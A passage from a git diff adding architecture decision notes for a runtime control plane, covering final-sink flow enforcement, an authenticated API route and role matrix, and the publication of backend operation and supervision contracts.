distinct `flow_final_disposition` and +flow decision references; consumers must join that final fact with the +operation status rather than interpret an API-423 `permit` as delivery. The +current API-423 history validator permits a `delivery-attempted/withheld` +record only after an API-423 **deny**. In particular, +`_with_opacity_egress_observation(..., delivered=False)` cannot be used after +an API-423 permit followed by SEM-233 refusal. The current selected opacity +profile normalizes the API-423 decision to deny before this final-sink path; +retain that behavior. Do not rewrite a permitted decision, fabricate a +delivery attempt, or weaken the validator to make such a record pass. If an +explicit later-refusal history fact proves necessary, that is a portable-carrier +decision governed by ADR-009 and schema publication, not an ad hoc history +dictionary. + +## Cross-cutting owners + +| Boundary | Canonical incumbent and guardrail | +| --- | --- | +| Entry and authorization | `participant_retrieval.py` funnels status, history, context, decision-surface, and participant-directed views through `ParticipantViewSerialization` and `serialize_participant_view()`. `participant_crossing_policy.py::_require_crossing_identity`, `ControlPlaneIdentity` and audience bindings retain target, actor, participant, and audience authority. A stored operation id or idempotency key grants none. | +| Exact final permit | `control_plane_composition.py::select_final_sink_flow_control_resolver()` and `ControlPlaneConfiguration.enforce_final_sink_flow_control` select the resolver at construction; `participant_flow_sink.py::resolve_participant_flow_sink_decision()` binds the exact participant, episode, audience, sink kind, API-423 decision, and live history heads. `validate_participant_flow_control_resolved_context()` remains the semantic validator. Missing, stale, malformed, or throwing resolvers fail closed. Do not infer capability from a method found at call time or use an earlier permit as a final permit. | +| Crossing and opacity validation | `ParticipantCrossingIntent`, `ParticipantCrossingOccurrenceModel`, `validate_participant_crossing_occurrence_context()`, `validate_participant_opacity_runtime_enforcement()`, and `participant_crossing_state_cut.py` own shape, predecessor, authority, order, and head checks. `participant_crossing_egress.py::_view_subject()` and `_governed_egress_view()` own exact view digest and trusted transformation revalidation. Do not duplicate these checks in a new DTO or serializer. | +| Operation and persistence | `OperationState`, `OperationStatus`, `operation_terminal_diagnostics()`, `ControlPlaneOperationRecord`, `control_plane_store.py` transition and idempotency validators, `RuntimeDurabilityMixin`, `InMemoryControlPlaneStore`, and `LocalControlPlaneStore` own immutable receipt/context, legal `RUNNING -> FAILED`, atomic snapshot/record/audit commit, CAS, readback, and restart. `control_plane_store_records.py` is the strict persisted codec. A claim is not a terminal commit, and an exception from a store commit is not proof that nothing committed. | +| Readback and effects | `RuntimeControlPlane.get_operation()` reloads store records and enforces actor/scope read authority. Egress replay must classify the incumbent **status** before reading its payload, both for a prepared replay and when the atomic claim returns another operation id; only a committed `SUCCEEDED` record with a governed payload may release bytes. `participant_control_receipts.py::claim_outcome()` maps owner status to effect disposition, and `participant_control_effects.py` dispatches only from admitted evaluations. A denied egress owner must therefore resolve as failed, never applied. | +| Audit and exposure | `AuditEvent`, `control_plane_audit.py::require_audit_event_fields()`, and `flow_sink_audit_details()` own bounded, closed, value-free evidence. Use the existing `flow-sink-denied` reason; preserve the API-423 disposition as an earlier fact. `control_plane_api/_auth.py`, `_operation_routes.py`, `_responses.py`, `RequestSizeLimitMiddleware`, and `ControlPlaneSecurityConfig.strict_defaults()` retain authenticated reads and coarse redacted 4xx/5xx envelopes. Do not expose resolver exceptions, view payloads, credentials, or audit internals in logs or errors. | + +## Security and extensibility checks + +This repair changes no external request, target, manifest, environment, or +secret-binding shape. The existing `ControlPlaneConfiguration`, `RuntimeTarget` +manifest validation in `registry.py`, and explicit final-sink selection must +still admit the composed runtime. It introduces no secret resolution or +environment delivery: the existing value-free operation admission context and +audit allowlist keep sensitive request/view material out of durable diagnostics +and logs. It introduces no executable, process argument, subprocess, or +network endpoint, so no token may be moved into argv or a broad process +environment. If the result is surfaced through HTTP, retain the existing +authenticated status route and redacted error envelopes; direct runtime +retrieval retains its `PermissionError` boundary. + +The reusable seam is the prepared crossing's final classification **at the +sink**, before `commit_prepared_crossing()`. It must work for each existing +`ParticipantViewSerialization` view and the selected concrete sink kind, +without branching on view model, backend name, or store provider. A future +final gate can use the same operation-status and atomic-commit semantics while +keeping its own validated decision and bounded audit details; it cannot turn +an earlier crossing permit into a terminal success. + +## Assurance and scope + +Targeted evidence should cover every non-permit SEM-233 class, no returned +payload, `FAILED` status with both denial and canonical terminal diagnostics, +one denied audit, preserved earlier crossing decision, and no delivered or +observed history. Exercise same-key readback (including an incumbent returned +by a racing claim), actor/scope mismatch, both stores, local-store close and +reopen, and the effect owner's failed disposition. Include the selected opacity +path so the API-423 `withheld` invariant is not accidentally violated. Build +on `test_issue_1003_final_sink_flow_enforcement.py`, +`test_issue_964_participant_opacity_runtime.py`, +`test_issue_1069_participant_control_effects.py`, and the existing operation, +idempotency, and store tests. Keep local verification targeted; CI owns the +full suite. `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, and +`tools/check_repo_policy.py` remain the workflow owners; a portable carrier +change would additionally require the published-schema manifest, generated +schema parity, coverage, and compatibility gates. + +Non-goals: changing SEM-233 policy, broadening API-423 or opacity claims, +adding a new public lifecycle state or schema, changing authored workflows, +altering backend effects, adding an HTTP participant route, or retroactively +rewriting committed operations. Avoid treating `receipt.accepted`, an API-423 +permit, a delivery-attempt label, or a thrown exception as the final outcome. diff --git a/docs/decisions/issue-1359-runtime-api-trust-boundary-preflight.md b/docs/decisions/issue-1359-runtime-api-trust-boundary-preflight.md new file mode 100644 index 000000000..3dc7cb682 --- /dev/null +++ b/docs/decisions/issue-1359-runtime-api-trust-boundary-preflight.md @@ -0,0 +1,189 @@ +# Issue 1359: Runtime API trust-boundary enforcement preflight + +Status: architecture guidance for implementation. This note applies the +accepted [issue #1356 decision](issue-1356-control-plane-participant-access-preflight.md) +to the current repository. It changes no runtime behavior, requirement, +published contract, or profile guarantee. + +## Decision to implement + +The selected exposure model is **host-mediated, administrative-only P2**. +Participant-facing code does not receive a RAE credential, the +`RuntimeControlPlane` object, or store access. The organizational or local host +authenticates its own caller, selects the exact target/run, participant, +episode, audience and operation, calls RAE with a privileged service identity, +and releases only an authorized governed result. + +`ControlPlaneIdentity` remains the authenticated transport principal. An SDL +participant, runtime actor, controller, audience, deployment tenant and host +user are different concepts. `ParticipantAudienceSubjectBinding` and +`ParticipantControlSubjectBinding` constrain a semantic operation after +transport admission; they do not create a role or authenticate an end user. + +This resolves the issue's “participant-view-limited credential” criterion as +follows: + +- a target-bound identity with participant/audience bindings but without a + `BACKEND`, `OPERATOR` or `AUDITOR` route role is not an admitted P2 reader and + must fail both governed-view and administrative reads; +- an identity with one of those read roles is an administrative service + identity even when it also carries an audience binding. Under the accepted + API-404-C3 contract it can read `/snapshot`; it must never be described or + delegated as a participant-limited credential; and +- creating a participant-only role, episode-scoped token or direct + participant-to-RAE transport would be a different exposure model requiring a + new reviewed decision and API-404/ADR-104 amendment. + +No new authorization schema is required. The incumbent seam is +`control_plane_api/_auth.py`: bearer or explicitly trusted verified-proxy +authentication, exact target binding, then one of the existing read, mutating +or operator-resolution dependencies. New operation or inject routes must enter +through that seam and then invoke their existing core semantic authorization; +they must not implement route-local token parsing, role sets or subject tuples. +Names and documentation at that seam should make its administrative meaning +unambiguous. The route role is transport admission, never disclosure, +controller or backend-effect authority by itself. + +Configuration is part of that boundary. Python annotations on +`ControlPlaneIdentity` are not runtime admission: the current class itself does +not fully reject untyped roles, malformed target values, non-tuple subject +collections or overlong actor/scope components. Validate the exact closed +identity and binding shape once when `ControlPlaneSecurityConfig` copies and +freezes its principal maps, against the existing operation-context and audit +bounds. Do not defer malformed trusted configuration until a request, operation +commit or audit write, and do not compensate with route-local checks. + +## Current route and authority matrix + +Every current route that reveals runtime state or can cause an effect is +privileged. Only the value-free probes and framework descriptions are public. + +| Surface | Required P2 authority | Additional core/release boundary | +| --- | --- | --- | +| `GET /health/live`, `GET /health/ready` | Public, value-free probe | Preserve the closed health payload. No target, run, actor, operation, revision, count, path or provider value. | +| `/openapi.json`, `/docs`, `/redoc` | Public framework description on the administration network | Describes capability, not permission. A deployment may disable or network-restrict it; it cannot reveal runtime state. | +| `GET /snapshot`, `GET /apparatus/operational-summary` | Administrative read: `BACKEND`, `OPERATOR` or `AUDITOR`, exact target | Raw snapshots, histories, diagnostics and summaries never become participant views. | +| `GET /operations/{operation_id}` | Administrative read, exact target | `RuntimeControlPlane.get_operation()` additionally requires the original actor and complete immutable authorization scope; unknown and unauthorized IDs remain indistinguishable. | +| `POST /operations/{provisioning,orchestration,evaluation}` | Administrative mutation: `BACKEND` or `OPERATOR`, exact target | Reuse planner authorization, typed plan validation, immutable operation context, actor-scoped claim, idempotency and one mutation authority. | +| `POST /operations/{operation_id}/resolution` | `OPERATOR`, exact target | Reauthorize the linked parent scope; administrative disposition is not participant recovery or effect proof. | +| `POST /workflows/{workflow_address}/cancel`, `POST /workflows/reconcile-timeouts` | Administrative mutation | Reuse workflow/run admission, operation context and idempotent receipt. | +| `POST /participant-executions/{execution_scope_ref}/control`, `GET /participant-executions/{execution_scope_ref}` | Administrative mutation/read | Execution scope is service state, not an API-408 projection or audience entitlement. | +| `POST /participants/{participant_address}/episodes/{initialize,reset,restart,terminate}` | Administrative mutation | Participant and optional episode values are request data. Core lifecycle/run checks own their meaning; they are not credential scope. | +| `POST /participants/{participant_address}/control-occurrences` | Administrative mutation | Core additionally requires the exact participant/controller subject binding and API-409/RUN-310 admission. Audience binding is not control authority. | +| `GET /participants/{participant_address}/status`, `GET /participants/{participant_address}/episodes/{episode_id}/history`, `GET /participants/{participant_address}/context` | Administrative read | With a crossing resolver, require one exact participant/audience binding and commit API-423/RUN-319 crossing evidence before serialization. The episode and source cut are validated by retrieval/crossing contracts. Without a resolver this is a legacy administrative projection and must not be released to a participant. | + +There is no P2 raw audit, event-stream, callback, export or cache route. A new +route in any of those families inherits the authority of the data/effect it +exposes. Per-item authorization is required for streams and callbacks; checking +only subscription creation is insufficient. A future external inject trigger is +an administrative mutation that creates an actor-bound operation. Optional +participant delivery remains a later, separately governed API-423 crossing; an +authored inject, operation receipt or successful effect does not grant that +delivery. + +The P0/P1 SDK boundary remains trusted object possession. HTTP dependencies do +not protect direct Python calls. `get_snapshot()`, `snapshot`, `audit_log()`, +`observation_execution()`, participant control/action methods, directed-view +delivery and direct store reads are privileged host methods, not alternate +participant transports. + +## Canonical incumbents and cross-cutting gates + +| Layer | Canonical incumbent and required use | +| --- | --- | +| Authentication and route admission | `raes_runtime/control_plane_security.py`, `control_plane_api/_auth.py`, `ControlPlaneSecurityConfig.strict_defaults()`. Preserve immutable credential maps, constant-time bearer comparison, hard failure for an invalid presented bearer token, explicit proxy-header trust, valid/distinct non-Authorization header names and exact target equality. Admit exact `ControlPlaneRole` values and exact, bounded identity/subject-binding shapes at configuration time; annotations and later operation/audit failures are not configuration validation. | +| Transport shape and bounded execution | `create_control_plane_app()`, `RequestSizeLimitMiddleware`, `_ControlPlaneCallExecutor`, closed FastAPI/Pydantic request models, `control_plane_store.require_idempotency_key()` and the single-worker gate. Body limits do not bound the request line, path, query or headers. Reuse the owning address/reference validators where they match; otherwise add one bounded transport-shape check at ingress rather than duplicating semantic validation in routes. Server/proxy request-line and header limits remain mandatory. A future inject route also inherits the bounded, duplicate-aware JSON ingress and exact carrier validation required by the [issue #1353 preflight](../explain/sdl/issue-1353-external-inject-triggering-preflight.md); a permissive body model is not an authorization or shape gate. | +| Operation identity, readback and retry | `control_plane_operation_context.py`, `control_plane_admission.py`, `control_plane_store.require_idempotency_key()`, atomic claims and `RuntimeControlPlane.get_operation()`. Persist the actor and complete authorization scope; authorize before returning a retained receipt/status or idempotent replay. Operation IDs, idempotency keys and request commitments are identifiers, not bearer authority. | +| Participant disclosure | `participant_retrieval.py`, `control_plane_api_participant_retrieval.py`, `participant_crossing_egress.py`, `participant_flow_sink.py`, API-408 models in `raes_contracts/contracts/participant_views.py` and API-423 contextual validation in `participant_crossing_validation.py`. Project and validate before serialization; never serialize a full snapshot and filter it afterward. | +| Participant control and inject composition | `participant_control_mediation.py`, `participant_control_orchestration.py`, API-409 carriers and compiled DSL-142/API-423 bindings. Keep effect authority, controller authority, participant disclosure and delivery as separate gates. Do not make participant fields optional on an administrative operation carrier to reuse it as a view. | +| DTOs and schemas | Existing `OperationReceiptModel`, `OperationStatusModel`, `RuntimeSnapshotEnvelopeModel`, participant view models, route request DTOs and generated `contracts/schemas/control-plane/` artifacts. Authorization is internal adapter policy, not a second HTTP DTO or published participant schema. | +| Persistence and concurrency | `ControlPlaneStore`, `control_plane_store_local*`, `RuntimeMutationAuthority`, revision CAS, owner lease, strict codecs and atomic terminal operation/audit commit. No participant store, authorization cache, second event writer or route-owned persistence transaction. | +| Errors and diagnostics | `control_plane_api/_responses.py`, the redacted 422/500 handlers, `portable_diagnostic_payload()`, `backend_result_diagnostics.py` and existing stable 403/404/409 details. Never expose `str(exc)`, rejected values, provider payloads, paths, SQL, headers, tokens or traceback chains. Secondary audit failure cannot replace the selected denial. | +| Audit and logging | `control_plane_audit.py` and terminal operation audit. Use bounded action/reason codes and safe identifiers only. Authentication/rejection/read audits stay distinct from atomic terminal audit. Proxy, ASGI and backend logs obey the same disclosure rule. | +| Configuration, secrets and OS boundary | `ControlPlaneSecurityConfig` is supplied by trusted composition; `require_single_worker_configuration()`, `control_plane_store_paths.py` and the local-store lease retain process/filesystem admission. This issue adds no SDL field, environment parser, token endpoint or CLI credential. If a later deployment artifact represents secret or environment inputs, reuse `raes_contracts/secret_references.py` and `raes/runtime_environment.py`/`runtime_configuration.py` rather than inventing a token env grammar. Keep credentials out of URLs, argv, shell history/tracing, environment dumps, fixtures, versioned files, access logs, crash reports and backups. Retain private store permissions, one worker, reload disabled, TLS termination, request-line/header limits and an administration/service network; disable or redact proxy/ASGI access logging that would capture sensitive selectors. | +| Repository workflow | `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/check_repo_policy.py`, targeted control-plane tests and CI full suites. Published-schema changes, if ever justified, use the existing schema publication manifest/generator; ADR amendments use the ADR index and immutability tooling. | + +### Cached, replayed and alternate outputs + +Authorization applies at every output, not only at the first computation. +Authenticated runtime responses, including errors and idempotent readback, +must carry a shared `Cache-Control: no-store` policy at the P2 application +boundary so a route cannot omit it accidentally. Deployment proxies must not +cache authenticated responses or key them only by URL. Host-side caches remain +outside RAE and must be scoped by caller/session, target/run, participant, +episode, audience, policy and source revision, with reauthorization on every +release and invalidation on handoff, revocation or state-cut change. + +The retained result of an idempotent governed GET remains bound to its original +actor/scope, crossing subject and source cut. Do not relabel it with a current +revision, use `X-RAES-Snapshot-Revision` as authorization, or bypass the +crossing because bytes already exist. Errors, redirects, conditional responses, +future stream items and callbacks are disclosure surfaces too. No response may +fall back to a snapshot, raw operation diagnostic or provider error when a +projection fails. + +## Extensibility seam + +The extension seam has two independent parameters: + +1. the route selects one existing transport authority: public value-free, + administrative read, administrative mutation or operator resolution; and +2. the core operation supplies any additional typed subject policy required by + its semantics: original operation actor/scope, participant/controller, or + participant/audience/exact-cut crossing. + +That split lets a new operation, inject, export or stream route reuse P2 +authentication without editing every incumbent route, and lets a new governed +carrier reuse API-423 without turning audience into a transport role. A future +inject route takes only this transport-authority parameter from #1359; its +authored binding, occurrence, payload, capability, supervision, effect evidence +and optional delivery semantics remain owned by the #1353/ADR-112 boundary. A +future direct-participant exposure mode would be a new first parameter and is +deliberately unavailable; it cannot be smuggled in through a nullable binding, +role alias, route tag or configuration flag. + +## Verification guardrails + +Evidence must exercise the real ASGI/HTTP boundary, not call auth helpers or +core methods alone. The route matrix needs positive administrative cases and +negative unauthenticated, wrong-target, wrong-role and no-role audience-bound +cases for every route family. It must also cover cross-actor operation readback, +cross-participant governed retrieval, ambiguous/missing audience binding, +episode mismatch, legacy no-resolver posture, controller mismatch, exact retry +versus conflicting idempotency reuse, malformed configured principals, bounded +non-body selectors, redacted error paths, no-store headers and route-inventory +drift when a new route is registered. Public probes must remain value-free. +Framework routes must not be counted as authenticated runtime APIs. + +The test identity with a read role plus audience binding should explicitly prove +that it is broad administrative authority under the accepted model. The +no-role, audience-bound identity is the negative “participant-limited” case. +This prevents tests or deployment examples from silently asserting a narrower +credential contract than the runtime enforces. + +## Non-goals and anti-patterns + +This issue does not add organizational IAM, tenancy, host-user sessions, direct +participant authentication, a participant role, an episode/run token, TLS, a +serve command, a credential loader, multi-worker coordination, P3, an event +API, a response cache, or a new published carrier. Backend-owned organizational +authentication and policy stay at the host boundary. + +Avoid: + +- treating audience/controller bindings, URL selectors, operation IDs, + revisions, receipts or idempotency keys as credentials; +- copying role checks into route modules or adding a second principal, + exception, audit, DTO, validation or persistence hierarchy; +- granting `AUDITOR` mutation authority or treating `BACKEND` as participant + disclosure authority; +- filtering snapshots after serialization, returning raw diagnostics on + projection failure, or using 403/404 differences as a host-user oracle; +- accepting a caller-supplied identity, participant, episode, audience or + policy claim without joining it to trusted configured/compiled/runtime + state; +- treating type annotations as runtime configuration validation, or treating a + body-size limit as a bound on credentials, request lines, selectors or access + logs; and +- weakening the resolver, final-sink, revision, single-writer or atomic-audit + boundaries to make a route appear read-only or noncontending. diff --git a/docs/decisions/issue-1360-backend-operation-contracts-preflight.md b/docs/decisions/issue-1360-backend-operation-contracts-preflight.md new file mode 100644 index 000000000..3924f76b1 --- /dev/null +++ b/docs/decisions/issue-1360-backend-operation-contracts-preflight.md @@ -0,0 +1,261 @@ +# Issue #1360 — Backend operation and supervision contracts preflight + +Date: 2026-09-24. Scope: API-402 and supplied issue #1360; prerequisite #1348. +This is architecture guidance, not an implementation plan or a new contract. + +The accepted [#1348 decision](issue-1348-operation-lifecycle.md) and +[supervision semantics S1–S6](../../specs/formal/runtime-control-plane/supervision.md) +already settle lifecycle meaning. Retain those authorities and ADR-104; no new +ADR is needed. The [earlier preflight](issue-1348-operation-lifecycle-preflight.md) +maps runtime integration risks. This note closes the publication-specific gaps. +Python paths below are relative to `implementations/python/packages/`. + +## API-402 boundary: compose the existing live contracts + +API-402's existing implementation and ACTIVE status do not establish delivery +of #1360's additional supervision carriers. Preserve these semantic owners: + +| Surface | Canonical incumbent and boundary | +| --- | --- | +| Submission | `contracts/realization_plans.py` in `raes_contracts` owns `ProvisioningPlanModel`, `OrchestrationPlanModel` and `EvaluationPlanModel`; `_operation_routes.py` accepts these today. Reuse admitted plan identity and payloads inside any new backend request. An instantiation request is not an execution request, and authenticated submission does not replace planner authorization. | +| Live operation | `operation_lifecycle.py`, receipt/status models and their `control-plane/operation-{receipt,status}-v1.json` schemas own operation identity and state. Backend acknowledgement/progress are evidence for this authority, not replacement status models. | +| Results and history | Existing `workflow-result-envelope-v1`, `evaluation-result-envelope-v1`, and their separate `*-history-event-stream-v1` schemas remain authoritative. `contracts/execution_state.py`, `workflow_result_contracts.py` and `evaluation_result_contracts.py` preserve compiled result/execution-contract validation, workflow causality, evaluator chronology and final-state/history agreement. Supervision history must not become workflow step history or evaluator evidence. | +| Live snapshot | `contracts/realization_plans.py:RuntimeSnapshotEnvelopeModel`, `runtime_state.py` and `snapshots/runtime-snapshot-v1.json` retain the portable state projection. A snapshot is neither a continuation checkpoint nor proof of external cessation. | +| Archival provenance | ADR-065's `experiment-run-v1` remains the archival join point for results, evidence and provenance references. Do not add another run-record root, use an archive as a mutable operation journal, or require an experiment wrapper for ordinary live execution. Operational persistence does not turn a live carrier into archival provenance. | + +Schema paths above are under `contracts/schemas/`. Keep the formal +[workflow](../../specs/formal/runtime-contracts/workflow-results.md) and +[evaluator](../../specs/formal/runtime-contracts/evaluator-results.md) contracts, +`contracts/README.md` and `docs/explain/sdl/runtime-architecture.md` aligned when +publication changes their public boundary. Some overview implementation mappings +still name the older processor ownership; use the current `raes_runtime` owners +above rather than introducing validation in the processor to match stale paths. + +## Existing contracts and the gaps to publish + +`raes_contracts/operation_lifecycle.py` owns operation kinds, immutable admission +context, legal state transitions and canonical terminal diagnostics. +`contracts/operation_carriers.py` in that package owns closed receipt/status wire +models; `runtime_state.py` owns their in-process counterparts. Reuse these +identities and meanings rather than introducing a competing backend lifecycle. +Domain (provisioning/orchestration/evaluation) is not operation kind. + +The current carriers do **not** supply the whole #1360 protocol: + +- `OperationAdmissionContext` lacks an explicit binding to selected supervision + requirements, backend execution generation and control-request identity. +- `raes_backend_protocols/protocols.py` exposes synchronous `ApplyResult` methods. + A returned failure with the predecessor snapshot does not establish absent + effects. Wrapping that result cannot manufacture cessation or interruption. +- `recovery_observation.py` provides unversioned Python dataclasses and only + absent/applied/indeterminate classifications. Applied requires a snapshot; + other classifications forbid one. There is no known-partial or cessation + carrier. Its operation/request checks do not supply every new correlation. +- Manifest `RecoveryObservationCapabilities` selects operation kinds only; + method presence and that declaration do not establish contextual willingness, + cancellation support, continuation, or satisfaction of requested guarantees. +- Receipt and status share `OPERATION_SCHEMA_VERSION = runtime-operation/v1`. + Store codecs and HTTP projections explicitly reconstruct their fields; an + added Python field alone can disappear at those boundaries. + +Publish only the missing portable facts, with one semantic owner for each. +Requests, acknowledgements, progress, refusal, cancellation dispositions, +outcomes and reconciliation must have closed, versioned shapes and documented +cross-message invariants. JSON Schema covers structural constraints; shared +contract validators cover context, identity and evidence joins. Publish those +semantic obligations through the existing `schema_invariants.py` annotation +conventions where applicable, not independent validators in every transport. +Annotations identify obligations; a generic JSON Schema validator does not +execute them. Publish language-neutral rules and cross-message vectors, with +Python validators as reference bindings rather than the only definition. + +The wire boundary is JSON data, not serialized Python objects, callbacks, +exceptions, futures, native handles or injected services. Reuse +`raes_contracts/canonical.py` for RFC 8785 commitments and +`control_plane_operation_context.py` for their authorized, value-free projection; +do not hash `repr()`, ad hoc JSON or resolved credentials. Specify omission/null, +defaults, ordering and numeric bounds consistently across schema and Python, +including finite numbers and interoperable integer limits for committed data. +`ContractModel` forbids extra fields but does not make every field strict or +bounded. Python coercion and `jsonable_fallback()` comparison markers must not +turn invalid wire inputs into accepted protocol facts. + +## Meaning and ownership guardrails + +**Separate the facts.** Capability, current willingness, acceptance, dispatch, +progress, cancellation acceptance, cessation, effect knowledge and runtime +terminal publication are different facts. Preserve the six existing operation +states; do not add `PARTIAL`, `TIMED_OUT`, `REFUSED` or `CANCELLING` states. +Backend completion is evidence submitted to the runtime, not authority to +commit a runtime terminal state. Progress cannot establish success, renew a +deadline, discharge quarantine or substitute for experiment evidence. Specify +ordering and duplicate/stale-message handling within an execution generation; +timestamps alone cannot order concurrent control and completion events. + +**Bind the whole exchange.** Preserve original actor, authorization scope, +target/run, operation kind, request commitment and parent linkage. Correlate +backend invocation, execution generation, conflicting-effect scope, baseline +snapshot revision, exact admitted requirements/context and every response. +A supervisory request has its own actor and scoped idempotency identity; +it never replaces the original actor. Reject mismatched responses even when +each object independently validates. Operation, control request, backend job, +execution attempt and trial/run identities are not interchangeable. +Keep backend-native locators behind a bounded, non-authorizing correlation +boundary; identifiers are neither credentials nor executable commands. + +**Name what fencing proves.** Runtime generation/revision checks reject stale +state publication. A remote fencing or cessation claim must identify its scope +and supporting backend guarantee/evidence; a lease, CAS token, timeout, PID, +cancelled future or killed local process supplies no such proof. Default effect +exclusion is target/run-wide unless the admitted contract establishes narrower +independence. Refusal and progress must also remain correlated to that scope. + +**Represent uncertainty without upgrading evidence.** Keep effect knowledge +(absent, complete, known partial, unknown), cessation and satisfaction of all +admitted result/release gates independent. Known partial effects require +validated residual state/scope; unknown remainder or unproved cessation requires +indeterminacy and retained exclusion. An exception, unsafe snapshot, or +`success=false` is not evidence of no effect. Preserve ASR-532 predecessor +isolation. Reconciliation is bounded observation/classification, never replay. +An immutable indeterminate parent may gain separately authorized linked +resolution evidence, not a rewritten terminal outcome. Administrative snapshot +acceptance is not cessation, clean-state evidence or permission to retry. + +**Contextual support is an optional protocol seam.** Bind support and willingness +to operation kind, exact selected requirements, backend contract version and +effective execution context. Preserve the existing manifest/installed-component +agreement; reject an unsupported required guarantee before effects, and recheck +after waiting. Missing support must not become best effort. The extensibility +parameter belongs here, not in backend-name branches or a global +`supports_cancel` Boolean. New cooperative interruption, observation or future +physical-OT capabilities should be selectable without changing P0 defaults or +requiring every backend to implement them. Publish invocation, concurrency, +side-effect and failure semantics so backend authors can implement the protocol +without owning scenario scheduling, retries, terminal commits or a second runtime. + +Reuse authored workflow/time/trial authorities: `WorkflowExecutionContract`, +`ExecutionRetryPolicyModel`, `TrialExecutionAuthorityModel`, +`AdmittedExecutionControlModel`, cleanup plan/receipt models and +`require_cleanup_plan_capability()`. Transport duplicates do not create attempts; +recovery does not allocate trials. Continuation requires established authority +and a compatible boundary; do not invent a general checkpoint format here. +Operational stage budgets remain positive, finite apparatus bounds with explicit +origins; duplicate messages do not renew them. Reuse `control_plane_timeouts.py` +and the shared time validators. Portable UTC timestamps and authored semantic +clock/domain/segment identity are not restartable monotonic deadlines. + +## Cross-cutting layers the design must pass + +| Layer and canonical incumbents | Required treatment | +| --- | --- | +| Source and admitted plans: `raes` models/validators, `raes_processor/compiler`, workflow/time/trial contracts | Reference or carry admitted requirements without reinterpreting authored source. Reuse existing policy defaults and cross-object validators; do not hide execution policy in metadata or transport settings. Ordinary P0 work needs no trial or participant wrapper. | +| Configuration and capability shape: `ControlPlaneOptions`, `control_plane_configuration.py`, `RuntimeTarget`/`RuntimeTargetComponents` in `registry.py`, `registry_target_validation.py`, `raes_backend_protocols/{capabilities,manifest,backend_manifest,capability_admission}.py` | Extend closed models, manifest conversion and signature/presence checks together wherever integration is touched. A protocol declaration must not advertise an installed implementation. Registry probing checks call shape without invoking effects. Retain operation-kind restrictions, including the distinction between observation and administrative resolution. | +| Profile/version admission: `raes_contracts/{manifest_authority,backend_profiles,versions}.py`, `contracts/profiles/backend/`, `raes_runtime/control_plane_profiles.py` | Register contract IDs in the correct producer/consumer allowlists. Backend profiles enumerate required contracts; P0–P3 describe runtime/store/deployment guarantees. They are different axes. Preserve P1/P2 optional observation with indeterminate fallback; it cannot satisfy a request explicitly requiring provable recovery. P3 stays unavailable. Profile loading keeps grammar and payload-identity checks before path use. | +| Authentication/disclosure: `ControlPlaneSecurityConfig.strict_defaults()`, `control_plane_api/_auth.py`, `ControlPlaneIdentity`, `control_plane_plan_authorization.py`, `operation_admission_context()` | Derive actors from trusted identity, not request assertions. Reauthorize status, cancellation and reconciliation for the exact target/run/subject; preserve operator-only administrative resolution. A receipt, backend handle or fencing value grants no access. Retain hard failure for invalid bearer credentials and explicit proxy trust. Direct calls retain the trusted embedder boundary. | +| Request/value admission: `RequestSizeLimitMiddleware`, `_ControlPlaneCallExecutor`, `ContractModel`, `raes_contracts/runtime_value_limits.py`, `backend_input_contracts.py`, `backend_call_contracts.py` | Bound identifiers, collections, nesting, diagnostics and progress/evidence volume before copying, hashing or publication. Closed models alone do not imply strict booleans/numbers or finite budgets. Use existing strict primitives and calendar validation. Bound supervisory traffic independently of effect traffic; no unbounded iterator or acknowledged-but-discarded control request. | +| Secrets/environment: `SecretReferenceId`, `runtime_fact_dispatch.py`, `runtime_fact_binding_policy.py`, `raes/runtime_environment.py`, planner `stateful_admission.py` | Carry authorized references rather than resolved credentials in durable/public context. Preserve visibility/freshness and closed generated-environment projections. `value_from` excludes literal values and `operator_secret`; redacted/operator-secret values cannot contain raw material. Rebinding inputs reapplies the existing gates. `control_plane_operation_context.py` and `control_plane_admission.py` keep credential-sensitive retry proof ephemeral; a public commitment after restart is insufficient. | +| Backend result admission: `backend_calls.py`, `_validated_backend_result()`, `backend_result_diagnostics.py`, `result_contracts.py`, [result-admission spec](../../specs/formal/runtime-contracts/backend-result-admission.md) | Use isolated predecessors, native domain/workflow/participant/time validation, realization authority, changed-address accounting and credential egress checks for partial, recovery and late results too. Typed backend evidence remains untrusted. Known effects do not bypass final disclosure/release gates. | +| Persistence: `RuntimeMutationAuthority`, `RuntimeDurabilityMixin`, `ControlPlaneStoreCommitAdapter`, `control_plane_store_records.py`, `control_plane_store_record_migration.py`, `control_plane_store_paths.py` | Retain one writer, atomic claims and snapshot/terminal/audit commit, revision CAS, immutable terminal history and strict codecs. Unknown store acknowledgement requires authoritative readback/poisoning, distinct from unknown external effects. Preserve private paths, lease-before-inspection and close-before-lease-release. No new supervision store, callback-owned commit, or database transaction spanning backend execution. | +| Errors/observability: `Diagnostic`/`DiagnosticModel`, `portable_diagnostic_payload()`, canonical terminal diagnostics, `control_plane_api/_responses.py`, `_operation_routes.py`, `AuditEvent`, `control_plane_health.py` | Refusal and uncertainty are typed protocol facts with stable safe diagnostics, not a parallel exception hierarchy. Preserve redacted 422/500 and conflict envelopes. Reject input echoes, raw exception text, native output, credentials and sensitive locators in errors/audit/progress. Reuse bounded actor-bound audit and module loggers; keep health, operational progress, participant observations and archival evidence distinct. | +| Host/process and delivery: existing backend drivers, embedder deployment, `raes_contracts/corpus.py`, Python package configuration | Publishing this protocol needs no shell, port, process manager or new credential loader. Examples must not place tokens in argv, accept request-supplied executable paths, or dump/inherit broad environments. TLS/proxy and process lifecycle remain deployment duties. Load schemas/profiles through the packaged corpus seam, not checkout-relative path heuristics. | + +These are obligations for the eventual implementation, not claims that current +runtime code already provides bounded supervision. In particular, current +external-call locking/drain and exception-to-failed-result behavior remain the +gaps documented by #1348; publishing models does not fix them. +For claim-bearing observability carriers, reuse ADR-066 and +`raes/observability_plane_semantics.py` when publishing `x-raes-plane`: +the classifier rejects unregistered contract IDs. Do not infer the plane from +an `evidence` field name or copy an archival annotation onto operational progress. + +## Publication, compatibility and traceability + +Follow ADR-009/061 and +[the evolution policy](../../specs/evolution/versioning-deprecation-and-migration.md). +Normative schemas live in `contracts/schemas/`; `schema_bundle()` and +`contracts/bundle_runtime.py` must generate identical artifacts. Keep +`tools/generate_contract_schemas.py` routing, public contract exports +(`contracts/__init__.py`/`_exports.py`), `versions.py`, manifests, profiles, +fixtures and public backend/API documentation consistent. Reuse +`corpus.py` and the existing wheel/sdist corpus inclusion in +`implementations/python/pyproject.toml`; backend owners must receive the +contract without a source checkout or a runtime implementation dependency. + +The publication manifest is now a **v2 directory 